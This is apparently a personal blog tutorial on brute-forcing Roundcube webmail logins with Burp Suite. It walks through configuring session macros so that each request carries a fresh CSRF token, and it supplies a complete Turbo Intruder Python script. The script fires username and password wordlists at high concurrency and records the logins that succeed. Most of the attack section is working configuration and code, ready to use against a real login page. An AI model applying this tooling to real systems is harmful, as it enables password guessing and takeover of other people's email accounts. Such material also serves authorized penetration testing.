I was testing some brute force attacks against Roundcube. I tried Burp Suite, ZAP and my own python script. Burp Community Edition was kind of slow. I couldn't get ZAP to get the correct CSRF token and the python script was faster than Burp but still a little slow. Then I found Turbo Intruder which is an extension in Burp. It's very fast because: "Turbo Intruder uses a HTTP stack hand-coded from scratch with speed in mind. As a result, on many targets it can seriously outpace even fashionable asynchronous Go scripts."
When I finally figured out how to get Turbo Intruder to get a new CSRF token for each request using Burp's Sessions Macros, I compared it to my python script and it definitely was much faster. For the same attack (number of password attempts on one user), the python script took about 30 minutes and Turbo Intruder took about 3 minutes.
Here is a quick list of how to get it set up in Burp Suite (See screenshots below):
- Launch Burp Suite
- (Optional) Target -> Scope -> Enter domain in the scope - Select Yes to stop sending out-of-scope items.
- Make sure the Browser you're using it set up with the Burp proxy.
- We need 2 requests: Proxy -> HTTP history -> Load login page in the browser for GET request -> Test the login with user/pass for POST request.
- Open Settings on far right of Burp -> Sessions -> Macros - Add -> Select both the GET and POST requests -> OK.
- Still in Macro Editor with the GET request selected -> Configure item.
- Custom parameter -> Add -> Select the token in the HTML (double click it), add the parameter name (_token) -> OK -> OK to finish.
- Session handling rules -> Add - Run a macro - Make sure "Run a macro" is selected.
- Needs to be checked: Update current request with parameters matched from final macro response.
- Needs to be checked: Update only the following parameters -> Edit - Add "_token" (whatever the parameter name is) -> OK to finish.
- Still in Session handling rule editor -> Scope tab -> Tools scope -> Extensions -> URL scope -> "Include all URLs" or "Use suite scope."
- HTTP history -> Right click on the POST request (failed login) -> Extensions - Turbo Intruder - Send to turbo intruder.
- Turbo Intruder -> Replace the parameters user and pass with %s.
- Here's the python I used in Turbo Intruder:
import time
#throttleMillisecs=500
def queueRequests(target, wordlists):
#time.sleep(throttleMillisecs/500)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=10,
pipeline=False,
engine=Engine.BURP2
)
# Could be one username or multiple. In this case I used one pet attack.
for username in open('/home/kali/Work/RC_IRM_TEST/password_lists/usernames.txt'):
# All the passwords you want to try for the user(s).
for password in open('/home/kali/Work/RC_IRM_TEST/passwdlist.txt'):
engine.queue(target.req, [username.rstrip(), password.rstrip()])
def handleResponse(req, interesting):
# Currently available attributes are:
# req.status, req.wordcount, req.length and req.response
# Uncomment this if you want to see every request.
#if req.status == 401:
#table.add(req)
if req.status == 302:
# Encode and save response.
data = req.response.encode('utf8')
# Extract header and body.
header, _, body = data.partition('\r\n\r\n')
if "Login failed" not in body:
table.add(req)
# Save body to file /tmp/output-turbo.txt
output_file = open("/home/kali/Work/RC_IRM_TEST/TI_output/body_302.txt","a+")
output_file.write(body + "\n")
output_file.close()
output_file = open("/home/kali/Work/RC_IRM_TEST/TI_output/header_302.txt","a+")
output_file.write(header + "\n")
output_file.close()
Here are some screenshots of the steps in Burp Suite.
2. (Optional) Target -> Scope -> Enter domain in the scope - Select Yes to stop sending out-of-scope items.
4. We need 2 requests: Proxy -> HTTP history -> Load login page in the browser for GET request -> Test the login for POST request.
5. Open Settings on far right of Burp -> Sessions -> Macros - Add -> Select both the GET and POST requests -> OK.
Select both the GET and POST requests -> OK.
6. Still in Macro Editor with the GET request selected -> Configure item.
7. Custom parameter -> Add -> Select the token in the HTML (double click it), add the parameter name (_token) -> OK -> OK to finish.
8. Session handling rules -> Add - Run a macro - Make sure "Run a macro" is selected.
9. Needs to be checked: Update current request with parameters matched from final macro response.
10. Needs to be checked: Update only the following parameters -> Edit - Add "_token" (whatever the parameter name is) -> OK to finish.
11. Still in Session handling rule editor -> Scope tab -> Tools scope -> Extensions -> URL scope -> "Include all URLs" or "Use suite scope."
12. HTTP history -> Right click on the POST request (failed login) -> Extensions - Turbo Intruder - Send to turbo intruder.
13. Turbo Intruder -> Replace the parameters user and pass with %s.
14. Python code.
When it's ready to start, click Attack at the bottom. You can modify the python code to do what you need. The way it works now is you will only see a login that was successful. You can uncomment the code (req.status 401) that will load all of the failed attempts if you want to see them.